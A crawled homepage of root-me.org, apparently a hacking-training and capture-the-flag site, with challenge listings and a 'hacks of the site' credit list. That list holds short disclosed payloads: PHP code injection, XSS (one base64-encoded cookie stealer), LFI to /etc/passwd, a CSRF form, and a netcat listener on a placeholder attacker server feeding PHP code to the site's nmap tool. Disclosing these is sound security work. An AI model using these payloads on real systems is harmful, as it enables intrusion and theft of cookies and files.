- Capture The Flag
-
Challenges
-
Over one hundred hacking’s challenge available to train yourself.
Recently
[2012-04] Global System Traffic for (...) [2012-03] CAPTCHA me if you can [2012-03] LSB - Uncle Scrooge [2012-03] Quick Response Code [2012-03] Insomni’Droid -
-
Community
-
We need you!
Recently
[2011-01] IRC channel [2010-12] Contribute [2009-12] Members [2006-10] Rankings [2006-10] Archive -
-
Infos
-
Essential informations about this project
Recently
[2010-02] Legal Disclaimer [2010-02] The Project [2006-10] Partners [2006-10] Team [2006-10] H4cks -
-
Tools
-
Download what you need here
Recently
[2006-10] Password generator [2006-10] Whois [2006-09] Code - Decode -
| 
|
IP :
38.107.179.224
Location :
Lang : en-us
Browser : CCBot/1.0 (+http://www.commoncrawl.org/bot.html)
11 visiteurs en ce moment
Last registered users :dogo19 novice2005 pwet99 Hughe Auranium Belebostre Sperrow
Membrers : 2586Papers : 483Messages : 397ShoutBox : 522Challengers : 1741
H4cks of the site
[02/12/2009] real found a code injection vulnerability :
http://www.root-me.org/spip.php?page=poster&id_article=1'.system('pwd').' [02/02/2011] hello found several stored XSS in the PM system :
<script>[code javascript/vbscript]</script> [15/02/2011] essandre found a LFI :
http://www.root-me.org/squelettes/script/protection_acces_http.php?file=../../../../../../../etc/passwd [30/06/2011] elyfean found a CSRF on the chatbox :
<form id="form" action="http//www.root-me.org/?lang=fr" method="post">
<input type=hidden name="ON" value="1">
<input type=hidden name="message" value="0wn3d !">
</form> [11/07/2011] Armel found an XSS on the chatbox.
<iframe src="javascript:[code javascript]' /> [18/07/2011] g0uZ found a PHP code injection vulnerability on the "online tools : nmap"
Host to scan in -sV mode :
--version-trace -p8888 [IP server attacker]Service listening on attacker server
i=0; while [ $i -lt 5 ]; do nc -v -l -p 8888 -e '<?php [CODE PHP];?>'; i=$(( $i+1 )); done [02/10/2011] Hypnoze57 found a insecure indirect object references which lead to unauthorized access to all PM :
http://www.root-me.org/spip.php?page=messagerie&id=write&repondre=[id_message_to_read] [23/10/2011] courte66 found a reflected XSS in the "encode - decode" page :
Text to decode in base64
Jz4iPjxpbWcgc3JjPWxvbCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSkgLz4= [20/03/2012] jimee found a LFI in the realistic challenge 9 :
http://www.root-me.org/challenge/realiste/ch9/page_..%252f..%252f..%252fch1%252fmesfonction.php
